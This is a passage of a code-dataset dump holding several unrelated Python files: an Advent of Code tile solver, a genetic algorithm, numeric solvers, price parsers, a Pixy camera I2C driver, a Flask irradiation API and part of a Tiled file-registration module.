activation(batch_norm)\n","repo_name":"kyle-gross/holbertonschool-machine_learning","sub_path":"supervised_learning/0x01-optimization/14-batch_norm.py","file_name":"14-batch_norm.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6590713396","text":"from functools import reduce\nfrom collections import defaultdict\nimport operator\n\n# groups\ndata = open('input').read()\nvalues = [v.strip() for v in data.split('\\n\\n')]\nvalues = [v.split('\\n') for v in values]\n\ntiles = defaultdict(list)\nedges = defaultdict(list)\n\n\nfor value in values:\n title = None\n\n for line in value:\n if title is None:\n title = int(line.split(' ')[1].strip(':'))\n continue\n tiles[title].append(line)\n\n left = []\n right = []\n for line in value[1:]:\n left.append(line[0])\n right.append(line[-1])\n\n edges[title] = [value[1], ''.join(right), ''.join(value[-1]), ''.join(left)]\n\nall_edges = [edge_item for edge in edges.values() for edge_item in edge]\n\n# parts\ndef part1():\n corners = []\n sides = []\n\n for tile_id, tile_edges in edges.items():\n outside_edge_count = 0\n for tile_edge in tile_edges:\n if (\n all_edges.count(tile_edge) % 2 != 0\n and all_edges.count(''.join(reversed(tile_edge))) == 0\n ):\n outside_edge_count += 1\n\n if outside_edge_count == 2:\n corners.append(tile_id)\n\n if outside_edge_count == 1:\n sides.append(tile_id)\n\n return corners, sides\n\n\ndef flip_v(tile):\n return list(reversed(tile))\n\n\ndef flip_h(tile):\n return [list(reversed(tile_row)) for tile_row in tile]\n\ndef rotate(tile):\n rotated_tile = []\n for x in range(0, len(tile[0])):\n new_row = []\n for y in range(len(tile) - 1, -1, -1):\n new_row.append(tile[y][x])\n\n rotated_tile.append(''.join(new_row))\n return rotated_tile\n\n\ndef get_edges(tile):\n left = []\n right = []\n for line in tile:\n left.append(line[0])\n right.append(line[-1])\n\n return tile[0], ''.join(right), ''.join(tile[-1]), ''.join(left)\n\n\ndef is_match(row):\n match_count = all_edges.count(row)\n rev_match_count = all_edges.count(''.join(reversed(row)))\n return match_count + rev_match_count > 1\n\n\ndef find_match_left(tile, desired_left):\n _, _, _, left = get_edges(tile)\n\n if left == desired_left:\n return tile\n\n transformed_tile = tile\n # v_flip\n for _ in [0, 1]:\n # h_flip\n for _ in [0, 1]:\n # rotation\n for _ in range(0, 4):\n transformed_tile = rotate(transformed_tile)\n _, _, _, left = get_edges(transformed_tile)\n\n if left == desired_left:\n return transformed_tile\n\n transformed_tile = flip_h(transformed_tile)\n transformed_tile = flip_v(transformed_tile)\n\n return None\n\n\ndef find_match(tile, desired_top, desired_left):\n top, _, _, left = get_edges(tile)\n\n if (not desired_left or left == desired_left) and (not desired_top or top == desired_top):\n return tile\n\n transformed_tile = tile\n # v_flip\n for _ in [0, 1]:\n # h_flip\n for _ in [0, 1]:\n # rotation\n for _ in range(0, 4):\n transformed_tile = rotate(transformed_tile)\n top, _, _, left = get_edges(transformed_tile)\n\n if (not desired_left or left == desired_left) and (not desired_top or top == desired_top):\n return transformed_tile\n\n transformed_tile = flip_h(transformed_tile)\n transformed_tile = flip_v(transformed_tile)\n\n return None\n\n\ndef part2():\n corners, sides = part1()\n\n image = []\n\n # find top left corner in correct orientation\n corner_id = corners[0]\n corner_tile = tiles[corner_id]\n\n c_top, c_right, _, c_left = get_edges(corner_tile)\n while is_match(c_top) or is_match(c_left):\n corner_tile = rotate(corner_tile)\n c_top, c_right, _, c_left = get_edges(corner_tile)\n\n image.append([corner_tile])\n processed = {corner_id}\n\n # find first row\n p_right = c_right\n for column in range(1, int(len(tiles) ** 0.5)):\n for side_id in sides + corners:\n if side_id in processed:\n continue\n transformed_tile = find_match(tiles[side_id], None, p_right)\n if transformed_tile is not None:\n processed.add(side_id)\n image[0].append(transformed_tile)\n _, p_right, _, _ = get_edges(transformed_tile)\n break\n\n # find rest\n for row in range(1, int(len(tiles) ** 0.5)):\n # find first\n _, _, t_bottom, _ = get_edges(image[-1][0])\n for side_id in sides + corners:\n if side_id in processed:\n continue\n transformed_tile = find_match(tiles[side_id], t_bottom, None)\n if transformed_tile is not None:\n processed.add(side_id)\n image.append([transformed_tile])\n break\n\n for column in range(1, int(len(tiles) ** 0.5)):\n _, _, t_bottom, _ = get_edges(image[-2][column])\n _, p_right, _, _ = get_edges(image[-1][column - 1])\n for side_id in tiles.keys():\n if side_id in processed:\n continue\n transformed_tile = find_match(tiles[side_id], t_bottom, p_right)\n if transformed_tile is not None:\n processed.add(side_id)\n image[-1].append(transformed_tile)\n break\n\n picture = []\n\n for tile_row in image:\n sub_image = [''] * len(tile_row[0][1:-1])\n for tile in tile_row:\n for row, row_values in enumerate(tile[1:-1]):\n for column_value in row_values[1:-1]:\n sub_image[row] += column_value\n picture.extend(sub_image)\n\n return get_dragon_count(picture)\n\n\ndef get_dragon_count(picture):\n trans_pic = picture\n # v_flip\n for _ in [0, 1]:\n # h_flip\n for _ in [0, 1]:\n # rotation\n for _ in range(0, 4):\n d_count = find_dragons(trans_pic)\n if d_count > 0:\n return sum([row.count('#') for row in picture]) - d_count * len(dragon_map)\n\n trans_pic = rotate(trans_pic)\n\n trans_pic = flip_h(trans_pic)\n trans_pic = flip_v(trans_pic)\n\n return None\n\n\ndragon_map = {\n (0,1),\n (1,2),\n (4,2),\n (5,1),\n (6,1),\n (7,2),\n (10,2),\n (11,1),\n (12,1),\n (13,2),\n (16,2),\n (17,1),\n (18,1),\n (18,0),\n (19,1),\n}\n\ndef find_dragons(picture):\n count = 0\n for x in range(0, len(picture[0]) - 20):\n for y in range(0, len(picture) - 3):\n found = True\n for dif in dragon_map:\n if picture[y + dif[1]][x + dif[0]] != '#':\n found = False\n break\n if found:\n count += 1\n\n return count\n\n\nprint('Part 1: ', reduce(operator.mul, part1()[0]))\nprint('Part 2: ', part2())\n","repo_name":"victorkirov/aoc","sub_path":"2020/20/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":6889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12544554885","text":"from random import randint\nfrom RealChromosome import Chromosome\n\n\nclass GeneticAlgorithm:\n def __init__(self, param=None):\n self.__param = param\n self.__population = []\n\n @property\n def population(self):\n return self.__population\n\n def initialise(self):\n for _ in range(0, self.__param['popSize']):\n c = Chromosome(self.__param['mat'], self.__param['noNodes'], self.__param['function'])\n self.__population.append(c)\n self.evaluation()\n\n def evaluation(self):\n for c in self.__population:\n c.computeFitness()\n\n def bestChromosome(self):\n best = self.__population[0]\n for c in self.__population:\n if c.fitness < best.fitness:\n best = c\n return best\n\n def worstChromosome(self):\n worst = self.__population[0]\n for c in self.__population:\n if c.fitness > worst.fitness:\n worst = c\n return worst\n\n def selection(self):\n list = []\n for _ in range(self.__param['turnirDim']):\n pos = randint(0, self.__param['popSize'] - 1)\n list.append((pos, self.__population[pos]))\n list = sorted(list, key=lambda x: x[1].fitness)\n return list[0][0]\n\n\n def oneGeneration(self):\n newPop = []\n for _ in range(self.__param['popSize']):\n p1 = self.__population[self.selection()]\n p2 = self.__population[self.selection()]\n off = p1.crossover(p2)\n off.mutation()\n newPop.append(off)\n self.__population = newPop\n self.evaluation()\n\n def oneGenerationElitism(self):\n newPop = [self.bestChromosome()]\n for _ in range(self.__param['popSize'] - 1):\n p1 = self.__population[self.selection()]\n p2 = self.__population[self.selection()]\n off = p1.crossover(p2)\n off.mutation()\n newPop.append(off)\n self.__population = newPop\n self.evaluation()\n\n def oneGenerationSteadyState(self):\n for _ in range(self.__param['popSize']):\n p1 = self.__population[self.selection()]\n p2 = self.__population[self.selection()]\n off = p1.crossover(p2)\n off.mutation()\n off.fitness = self.__param['function'](off.genes, off.mat)\n worst = self.worstChromosome()\n if off.fitness > worst.fitness:\n for i in range(self.__param['popSize']):\n if self.__population[i] == worst:\n self.__population[i] = off\n break\n self.evaluation()\n","repo_name":"mariaruncan/ubb-second-year","sub_path":"sem4/AI/Lab/ai-lab4/GeneticAlgorithm.py","file_name":"GeneticAlgorithm.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13483246593","text":"import os as _os\nimport typing as _typing\n\nfrom gimme_cached_property import cached_property\n\nfrom . import (\n File as _File,\n BinaryFile as _BinaryFile,\n _wrapper,\n)\n\n\nclass LocalFile(_wrapper.wrapper_class(open)):\n def __init__(\n self,\n path: str,\n mode: str = 'r',\n *args,\n **kwargs,\n ):\n \"\"\"\n See params for `open`\n \"\"\"\n super().__init__(path, mode, *args, **kwargs)\n self.__path = path\n self.__mode = mode\n\n @cached_property\n def path(self) -> str:\n return _os.path.realpath(self.__path)\n\n @property\n def text(self) -> bool:\n return 'b' not in self.__mode\n\n @cached_property\n def newline(self):\n if self.text:\n return '\\n'\n else:\n return 10\n\n @cached_property\n def newline_str(self):\n if self.text:\n return '\\n'\n else:\n return b'\\n'\n\n def __eq__(self, other: _File):\n if not isinstance(other, LocalFile):\n return False\n if self.path != other.path:\n return False\n return True\n\n @cached_property\n def _buffer_class(self) -> _typing.Type[_BinaryFile]:\n if not self.text:\n raise AttributeError\n return _wrapper.buffer_class(self)\n\n @property\n def buffer(self) -> _BinaryFile:\n return self._buffer_class()\n","repo_name":"MichaelKim0407/python-stream","sub_path":"stream/io/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"8216234762","text":"#Karin Papismadov 209325810\n#Yael Amsalem 314667411\n\n\ndef jacobi(a,b): #a stands for the matrix's values and b are the results of each equation.\n if abs(a[0][0])<(abs(a[0][1])+abs(a[0][2])) or abs(a[1][1])<(abs(a[1][0])+abs(a[1][2])) or abs(a[2][2])<\\\n (abs(a[2][0])+abs(a[2][1])):\n print (\"The matrix entered is not a diagonal dominant matrix\")\n else:\n x = 0\n y = 0\n z = 0\n eps = 0.001 #epsilon\n i = 0\n for i in range(9):\n X_1 = (b[0] - a[0][1] * y - a[0][2] * z) / a[0][0]\n Y_1 = (b[1] - a[1][0] * x - a[1][2] * z) / a[1][1]\n Z_1 = (b[2] - a[2][0] * x - a[2][1] * y) / a[2][2]\n print(\"Jacobi\",i, \"number:\", X_1, \" \", Y_1, \" \", Z_1)\n if X_1 - x < eps and Y_1 - y < eps and Z_1 - z < eps:\n break\n\n x = X_1\n y = Y_1\n z = Z_1\n\n\ndef Gauss_Seidel(a,b): #a stands for the matrix's values and b are the results of each equation.\n if abs(a[0][0]) < (abs(a[0][1]) + abs(a[0][2])) or abs(a[1][1]) < (abs(a[1][0]) + abs(a[1][2])) or abs(a[2][2]) < \\\n (abs(a[2][0]) + abs(a[2][1])):\n print(\"The matrix entered is not a diagonal dominant matrix\")\n else:\n x = 0\n y = 0\n z = 0\n eps = 0.001 #epsilon\n i = 0\n for i in range(10):\n X_1 = (b[0] - a[0][1] * y - a[0][2] * z) / a[0][0]\n Y_1 = (b[1] - a[1][0] * X_1 - a[1][2] * z) / a[1][1]\n Z_1 = (b[2] - a[2][0] * X_1 - a[2][1] * Y_1) / a[2][2]\n if 10>eps:\n print(\"Gauss Seidel\", i, \"number:\", X_1, \" \", Y_1, \" \", Z_1)\n break\n\n x = X_1\n y = Y_1\n z = Z_1\n\n#main function\n\n#building a matrix with user's values\n\nprint(\"Please enter the matrix's values only (without solutions) from left to right:\")\ni=0\nj=0\na = []\nfor i in range(3): # A for loop for row entries\n m =[]\n for j in range(3): # A for loop for column entries\n m.append(int(input()))\n a.append(m)\n\nprint(\"Please enter the matrix's solutions only from top to bottom:\")\nb=[]\nfor i in range(3):\n b.append(int(input()))\n\n\njacobi(a,b)\nGauss_Seidel(a,b)\n","repo_name":"karinpapismadov/EX3_jacobi_gauss","sub_path":"Jacobi_Gauss.py","file_name":"Jacobi_Gauss.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15985670137","text":"from abc import ABC, abstractmethod\nfrom typing import Any, Optional, Union\n\nfrom easydata.parsers.text import Str\nfrom easydata.utils import price\n\n__all__ = (\n \"BaseNum\",\n \"BasePriceFloat\",\n \"PriceFloat\",\n \"PriceInt\",\n \"PriceText\",\n)\n\n\nclass BaseNum(Str, ABC):\n def __init__(\n self,\n *args,\n decimals: Optional[int] = None,\n min_value: Optional[Union[float, int]] = None,\n max_value: Optional[Union[float, int]] = None,\n normalize: bool = False,\n **kwargs,\n ):\n\n self.__decimals = decimals\n self.__min_value = min_value\n self.__max_value = max_value\n\n kwargs[\"normalize\"] = normalize\n\n super().__init__(\n *args,\n **kwargs,\n )\n\n @property\n def _decimals(self):\n if isinstance(self.__decimals, int):\n return self.__decimals\n\n decimals = self.__decimals or self._decimals_config\n\n return decimals if isinstance(decimals, int) else None\n\n @property\n def _min_value(self):\n return self.__min_value or self._min_value_config\n\n @property\n def _max_value(self):\n return self.__max_value or self._max_value_config\n\n @property\n def _decimals_config(self):\n return None\n\n @property\n def _min_value_config(self):\n return None\n\n @property\n def _max_value_config(self):\n return None\n\n def parse_value(\n self,\n value: Any,\n data: Any,\n ):\n\n if isinstance(value, (float, int)):\n value = self._parse_num_value(value)\n else:\n value = super().parse_value(value=value, data=data)\n\n if value is None:\n return None\n\n value = self._parse_num_value(value)\n\n if value is None:\n return None\n\n return price.process_min_max_value(\n value,\n min_value=self._min_value,\n max_value=self._max_value,\n )\n\n @abstractmethod\n def _parse_num_value(self, value: Any):\n pass\n\n\nclass BasePriceFloat(BaseNum, ABC):\n def __init__(\n self,\n *args,\n currency_hint: Optional[str] = None,\n decimal_separator: Optional[str] = None,\n **kwargs,\n ):\n\n self._currency_hint = currency_hint\n self._decimal_separator = decimal_separator\n\n super().__init__(\n *args,\n **kwargs,\n )\n\n def _parse_num_value(self, value: Any):\n return price.to_float(\n price_value=value,\n decimals=self._decimals,\n currency_hint=self._currency_hint,\n decimal_separator=self._decimal_separator,\n )\n\n\nclass PriceFloat(BasePriceFloat):\n @property\n def _decimals_config(self) -> Optional[int]:\n return self.config.get(\"ED_PRICE_DECIMALS\")\n\n @property\n def _min_value_config(self) -> Optional[int]:\n return self.config.get(\"ED_PRICE_MIN_VALUE\")\n\n @property\n def _max_value_config(self) -> Optional[int]:\n return self.config.get(\"ED_PRICE_MAX_VALUE\")\n\n\nclass PriceInt(PriceFloat):\n def parse_value(\n self,\n value: Any,\n data: Any,\n ):\n\n value = super().parse_value(value=value, data=data)\n\n return None if value is None else int(value)\n\n\nclass PriceText(PriceFloat):\n def parse_value(\n self,\n value: Any,\n data: Any,\n ):\n\n value = super().parse_value(value=value, data=data)\n\n return None if value is None else str(value)\n","repo_name":"easydatapy/easydata","sub_path":"easydata/parsers/price.py","file_name":"price.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"713859572","text":"#!/usr/bin/env python3\n'''This module implements all Pixy camera related classes and functions.\nSome effort was made to provide generic Python definitions for the Pixy I2C message structure, but since only the\nGetBlocks command was used, these structures are unrefined.\n\nThe Pixy object wraps Adafruit's I2CDevice and defines a simple command interface and a simple message evaluator.\n\nCurrent Debug:\n- OUT OF DATE: sets up SMBus(1), does initial version check, polls pixy for color match blocks.\n'''\nimport time\nfrom smbus2 import SMBus, i2c_msg\nfrom adafruit_bus_device.i2c_device import I2CDevice\n\nPIXY_ADDR = 0x54\nPIXY_SYNC_BYTES = 0xc1ae\n\nUSE_RED_SIGMAP = 0x01\nUSE_BLUE_SIGMAP = 0x02\nUSE_BOTH_SIGMAP = 0x03\n\n#Pixy Cam image constants\nMAP_X_LENGTH = 316\nMAP_Y_LENGTH = 208\nMAP_X_CENTER_TOL = 0.2\nMAP_Y_CENTER_TOL = 0.2\nMAP_SIZE_CLOSE_TOL = 1.0\nMAP_SIZE_TOL = 0.25\n\n#Pixy Cam x/y bounds\nX_LOWER = MAP_X_LENGTH/2-MAP_X_LENGTH*MAP_X_CENTER_TOL/2\nX_UPPER = MAP_X_LENGTH/2+MAP_X_LENGTH*MAP_X_CENTER_TOL/2\nY_LOWER = MAP_Y_LENGTH/2-MAP_Y_LENGTH*MAP_Y_CENTER_TOL/2\nY_UPPER = MAP_Y_LENGTH/2+MAP_Y_LENGTH*MAP_Y_CENTER_TOL/2\n\n#Pixy Cam command definitions\nversion_req_cmd = [0xae, 0xc1, 0x0e, 0x00]\nget_blocks_cmd = [0xae, 0xc1, 0x20, 0x02, USE_BLUE_SIGMAP, 0x01]\n\nclass I2cMsg:\n '''Generic I2cMsg class for parsing and access'''\n def __init__(self, msg):\n self.parse(list(msg))\n\n def parse(self, msg_bytes):\n self.sync = msg_bytes[1]*16^2 + msg_bytes[0]\n self.type_code = msg_bytes[2]\n self.payload_length = msg_bytes[3]\n self.checksum = msg_bytes[5]*16^2 + msg_bytes[4]\n self.payload = []\n try:\n for i in range(self.payload_length):\n self.payload.append(msg_bytes[i+6])\n except IndexError:\n self.payload_length -= 2\n\n def verify_checksum(self):\n sum = 0\n for i in range(self.payload_length):\n sum += self.payload[i]\n\n if sum&0xff == self.checksum or (sum+self.checksum)&0xff == self.checksum:\n return True\n else:\n return False\n\nclass GetVersionMsg(I2cMsg):\n def get_hardware_version(self):\n return self.payload[1]*16^2+self.payload[0]\n \n def get_major_firmware_version(self):\n return self.payload[2]\n \n def get_minor_firmware_version(self):\n return self.payload[3]\n\n def get_firmware_build(self):\n return self.payload[5]*16^2+self.payload[4]\n\n def get_firmware_type(self):\n out_str = ''\n for i in range(8):\n out_str = out_str+chr(self.payload[i+6])\n return out_str\n\nclass GetBlocksMsg(I2cMsg):\n '''Implementation of getBLocks(sigmap,maxBlocks) from Pixy documentation'''\n def __init__(self, msg):\n self.parse(list(msg))\n\n self.num_blocks = self.payload_length//14\n\n self.signature = self.get_signature()\n self.x = self.get_x_position()\n self.y = self.get_y_position()\n self.width = self.get_width()\n self.height = self.get_height()\n self.cc_angle = self.get_cc_angle()\n self.tracking_index = self.get_tracking_index()\n self.age = self.get_age()\n\n # def Block(object):\n # def __init__(self, payload):\n\n def get_signature(self):\n return self.payload[1]*16^2+self.payload[0]\n \n def get_x_position(self):\n return self.payload[3]*16^2+self.payload[2]\n \n def get_y_position(self):\n return self.payload[5]*16^2+self.payload[4]\n\n def get_width(self):\n return self.payload[7]*16^2+self.payload[6]\n\n def get_height(self):\n return self.payload[9]*16^2+self.payload[8]\n\n def get_cc_angle(self):\n return self.payload[11]*16^2+self.payload[10]\n\n def get_tracking_index(self):\n return self.payload[12]\n\n def get_age(self):\n return self.payload[13]\n\n\n\n\nclass Pixy(object):\n '''Implements Pixy as an extension of I2CDevice, with command interaction and packet evaluation methods.'''\n def __init__(self, bus, team):\n if team == 'blue':\n sigmap = USE_RED_SIGMAP\n elif team == 'red':\n sigmap = USE_BLUE_SIGMAP\n else:\n raise Exception('Bad team defined for pixy module')\n\n self.pixy = I2CDevice(bus, PIXY_ADDR)\n self.x_state = None\n self.y_state = None\n self.size_state = None\n\n self.version_req_cmd = bytearray([0xae, 0xc1, 0x0e, 0x00])\n self.get_blocks_cmd = bytearray([0xae, 0xc1, 0x20, 0x02, sigmap, 0x01])\n\n def send_cmd(self, cmd):\n read_buff=bytearray(32)\n with self.pixy:\n self.pixy.write_then_readinto(self.get_blocks_cmd, read_buff)\n try:\n block_msg = GetBlocksMsg(read_buff)\n return block_msg\n except IndexError:\n return []\n\n\n def evaluate_cc_block(self, block_msg):\n x_position = block_msg.get_x_position()\n y_position = block_msg.get_y_position()\n width = block_msg.get_width()\n height = block_msg.get_height()\n\n if x_position < X_LOWER:\n self.x_state = 'L'\n elif x_position > X_UPPER:\n self.x_state = 'R'\n else:\n self.x_state = 'G'\n\n if y_position < Y_LOWER:\n self.y_state = 'U'\n elif y_position > Y_UPPER:\n self.y_state = 'D'\n else:\n self.y_state = 'G'\n\n # if (width > MAP_X_LENGTH*MAP_SIZE_CLOSE_TOL or\n # height > MAP_Y_LENGTH*MAP_SIZE_CLOSE_TOL):\n # size_state = 'C'\n if (width > MAP_X_LENGTH*MAP_SIZE_TOL or\n height > MAP_Y_LENGTH*MAP_SIZE_TOL):\n self.size_state = 'G'\n else:\n self.size_state = 'F'\n\n return [ord(self.x_state), ord(self.y_state), ord(self.size_state)]\n\n\nif __name__ == '__main__':\n GOOD_TO_GO = False\n with SMBus(1) as bus:\n try:\n try:\n write = i2c_msg.write(PIXY_ADDR, version_req_cmd)\n read = i2c_msg.read(PIXY_ADDR, 20)\n bus.i2c_rdwr(write, read)\n new_msg = GetVersionMsg(read)\n print(new_msg.payload_length)\n print(new_msg.get_firmware_type())\n GOOD_TO_GO = True\n except IOError:\n print('failed on initial version check (check connection)')\n\n while GOOD_TO_GO:\n try:\n write = i2c_msg.write(PIXY_ADDR, get_blocks_cmd)\n read = i2c_msg.read(PIXY_ADDR, 32)\n bus.i2c_rdwr(write, read)\n new_msg = GetBlocksMsg(read)\n if new_msg.type_code == 33 and new_msg.payload_length != 0:\n evaluate_cc_block(new_msg)\n time.sleep(0.2)\n except IOError:\n print('ioerror...')\n time.sleep(1)\n\n except KeyboardInterrupt:\n print('Cleaning up and exiting')\n print('Pixy smbus debug exited gracefully')\n","repo_name":"joha7866/wavelength-warrior-suite","sub_path":"modules/pixy_smbus.py","file_name":"pixy_smbus.py","file_ext":"py","file_size_in_byte":7008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72862909548","text":"from flask_restful import Resource, reqparse\nfrom models.localIrradiation import LocalIrradiationModel\n\n\nclass LocationsIrradiation(Resource):\n\n def get(self):\n return {'LocalIrradiation': [localIrradiation.json() for localIrradiation in LocalIrradiationModel.query.all()]}\n\nclass LocalIrradiation(Resource):\n\n arguments = reqparse.RequestParser()\n arguments.add_argument('january', type=float)\n arguments.add_argument('february', type=float)\n arguments.add_argument('march', type=float)\n arguments.add_argument('april', type=float)\n arguments.add_argument('may', type=float)\n arguments.add_argument('june', type=float)\n arguments.add_argument('july', type=float)\n arguments.add_argument('august', type=float)\n arguments.add_argument('september', type=float)\n arguments.add_argument('octuber', type=float)\n arguments.add_argument('november', type=float)\n arguments.add_argument('december', type=float)\n arguments.add_argument('average', type=float)\n\n\n def get(self, city):\n localIrradiation = LocalIrradiationModel.find_localIrradiation(city)\n if localIrradiation:\n return localIrradiation.json()\n return {'message': 'Local Irradiation not found.'}, 404\n\n def post(self, city):\n if LocalIrradiationModel.find_localIrradiation(city):\n return {\"message\": \"Local Irradiation Local id '{}' already exists.\".format(city)}, 400\n data = LocalIrradiation.arguments.parse_args()\n localIrradiation = LocalIrradiationModel(city, **data)\n try:\n localIrradiation.save_localIrradiation()\n except:\n return {'message': 'An internal error ocurred trying to save local Irradiation'}, 500\n return localIrradiation.json(), 200\n\n def put(self, city):\n data = LocalIrradiation.arguments.parse_args()\n localIrradiation_found = LocalIrradiationModel.find_localIrradiation(city)\n if localIrradiation_found:\n localIrradiation_found.update_localIrradiation(**data)\n localIrradiation_found.save_localIrradiation()\n return localIrradiation_found.json(), 200\n localIrradiation = LocalIrradiationModel(city, **data)\n localIrradiation.save_localIrradiation()\n return localIrradiation.json(), 201\n\n def delete(self, city):\n localIrradiation = LocalIrradiationModel.find_localIrradiation(city)\n if localIrradiation:\n try:\n localIrradiation.delete_localIrradiation()\n except:\n return {'message': 'An internal error ocurred trying to delete Local Irradiation local.'}, 500\n return {'message': 'Local Irradiation local deleted.'}\n return {'message': 'Local Irradiation local not found.'}, 404\n","repo_name":"LeonardoFdSantos/api_energens","sub_path":"resources/localIrradiation.py","file_name":"localIrradiation.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5849083017","text":"import collections\nimport dataclasses\nimport logging\nimport mimetypes\nimport re\nfrom pathlib import Path\n\nimport anyio\nimport watchfiles\n\nfrom ..server.schemas import Asset, DataSource, Management\nfrom ..structures.core import StructureFamily\nfrom ..utils import import_object\nfrom .adapter import Collision\nfrom .mimetypes import DEFAULT_ADAPTERS_BY_MIMETYPE, DEFAULT_MIMETYPES_BY_FILE_EXT\nfrom .utils import ensure_uri\n\nlogger = logging.getLogger(__name__)\n\n\ndef strip_suffixes(filename):\n \"\"\"\n For use with key_from_filename parameter.\n\n This gives the 'base' as the key.\n\n >>> strip_suffixes(\"a.tif\")\n \"a\"\n\n >>> strip_suffixes(\"thing.tar.gz\")\n \"thing\"\n \"\"\"\n path = Path(filename)\n # You would think there would be a method for this, but there is not.\n if len(path.suffixes):\n return str(path)[: -sum([len(s) for s in path.suffixes])]\n else:\n return filename\n\n\ndef identity(filename):\n \"\"\"\n For use with key_from_filename parameter.\n\n This give the full filename (with suffixes) as the key.\n \"\"\"\n return filename\n\n\ndef default_filter(path):\n \"By default, ignore only hidden files.\"\n return not path.name.startswith(\".\")\n\n\ndef resolve_mimetype(path, mimetypes_by_file_ext, mimetype_detection_hook=None):\n \"\"\"\n Given a filepath (file or directory) detect the mimetype.\n\n If no mimetype could be resolved, return None.\n \"\"\"\n # First, try to infer the mimetype from the file extension.\n # For compound suffixes like '.u1.strict_disabled.avif' (a real example)\n # consider in order:\n # '.u1.strict_disabled.avif'\n # '.strict_disabled.avif'\n # '.avif'\n for i in range(len(path.suffixes)):\n ext = \"\".join(path.suffixes[i:]) # e.g. \".h5\" or \".tar.gz\"\n if ext in mimetypes_by_file_ext:\n mimetype = mimetypes_by_file_ext[ext]\n break\n else:\n # Use the Python's built-in facility for guessing mimetype\n # from file extension. This loads data about mimetypes from\n # the operating system the first time it is used.\n mimetype, _ = mimetypes.guess_type(str(path))\n # Finally, user-specified function has the opportunity to\n # look at more than just the file extension. This gets access to the full\n # path, so it can consider the file name and even open the file. It is also\n # passed the mimetype determined above, or None if no match was found.\n if mimetype_detection_hook is not None:\n mimetype = mimetype_detection_hook(path, mimetype)\n return mimetype\n\n\n@dataclasses.dataclass(frozen=True)\nclass Settings:\n adapters_by_mimetype: dict\n mimetypes_by_file_ext: dict\n mimetype_detection_hook: callable\n key_from_filename: callable\n filter: callable\n\n @classmethod\n def init(\n cls,\n adapters_by_mimetype=None,\n mimetypes_by_file_ext=None,\n mimetype_detection_hook=None,\n key_from_filename=None,\n filter=None,\n ):\n # If parameters come from a configuration file, they are given\n # are given as importable strings, like \"package.module:Reader\".\n adapters_by_mimetype = adapters_by_mimetype or {}\n for key, value in list((adapters_by_mimetype).items()):\n if isinstance(value, str):\n adapters_by_mimetype[key] = import_object(value)\n merged_adapters_by_mimetype = collections.ChainMap(\n adapters_by_mimetype, DEFAULT_ADAPTERS_BY_MIMETYPE\n )\n if isinstance(key_from_filename, str):\n key_from_filename = import_object(key_from_filename)\n elif key_from_filename is None:\n key_from_filename = strip_suffixes\n if mimetype_detection_hook is not None:\n mimetype_detection_hook = import_object(mimetype_detection_hook)\n merged_mimetypes_by_file_ext = collections.ChainMap(\n mimetypes_by_file_ext or {}, DEFAULT_MIMETYPES_BY_FILE_EXT\n )\n if filter is None:\n filter = default_filter\n if isinstance(filter, str):\n filter = import_object(filter)\n return cls(\n adapters_by_mimetype=merged_adapters_by_mimetype,\n mimetypes_by_file_ext=merged_mimetypes_by_file_ext,\n mimetype_detection_hook=mimetype_detection_hook,\n key_from_filename=key_from_filename,\n filter=filter,\n )\n\n\nasync def register(\n catalog,\n path,\n prefix=\"/\",\n walkers=None,\n adapters_by_mimetype=None,\n mimetypes_by_file_ext=None,\n mimetype_detection_hook=None,\n key_from_filename=None,\n filter=None,\n overwrite=True,\n):\n \"Register a file or directory (recursively).\"\n settings = Settings.init(\n adapters_by_mimetype=adapters_by_mimetype,\n mimetypes_by_file_ext=mimetypes_by_file_ext,\n mimetype_detection_hook=mimetype_detection_hook,\n key_from_filename=key_from_filename,\n filter=filter,\n )\n path = Path(path)\n parsed_walkers = []\n for walker in walkers or []:\n parsed_walkers.append(import_object(walker))\n parsed_walkers.extend(DEFAULT_WALKERS)\n prefix_parts = [segment for segment in prefix.split(\"/\") if segment]\n for segment in prefix_parts:\n child_catalog = await catalog.lookup_adapter([segment])\n if child_catalog is None:\n key = key_from_filename(segment)\n await create_node_safe(\n catalog,\n structure_family=StructureFamily.container,\n metadata={},\n specs=[],\n key=key,\n )\n child_catalog = await catalog.lookup_adapter([segment])\n catalog = child_catalog\n if path.is_dir():\n # Recursively enter the directory and any subdirectories.\n if overwrite:\n logger.info(f\" Overwriting '/{'/'.join(prefix_parts)}'\")\n await catalog.delete_tree()\n await _walk(\n catalog,\n Path(path),\n parsed_walkers,\n settings=settings,\n )\n else:\n await register_single_item(\n catalog,\n path,\n is_directory=False,\n settings=settings,\n )\n\n\nasync def _walk(\n catalog,\n path,\n walkers,\n settings,\n):\n \"This is the recursive inner loop of walk.\"\n files = []\n directories = []\n logger.info(\" Walking '%s'\", path)\n for item in path.iterdir():\n if not settings.filter(item):\n continue\n if item.is_dir():\n directories.append(item)\n else:\n files.append(item)\n for walker in walkers:\n files, directories = await walker(\n catalog,\n path,\n files,\n directories,\n settings,\n )\n for directory in directories:\n key = settings.key_from_filename(directory.name)\n await create_node_safe(\n catalog,\n key=key,\n structure_family=StructureFamily.container,\n metadata={},\n specs=[],\n )\n child_catalog = await catalog.lookup_adapter([key])\n await _walk(\n child_catalog,\n directory,\n walkers,\n settings,\n )\n\n\nasync def one_node_per_item(\n catalog,\n path,\n files,\n directories,\n settings,\n):\n \"Process each file and directory as mapping to one logical 'node' in Tiled.\"\n unhandled_files = []\n unhandled_directories = []\n for file in files:\n result = await register_single_item(\n catalog,\n file,\n is_directory=False,\n settings=settings,\n )\n if not 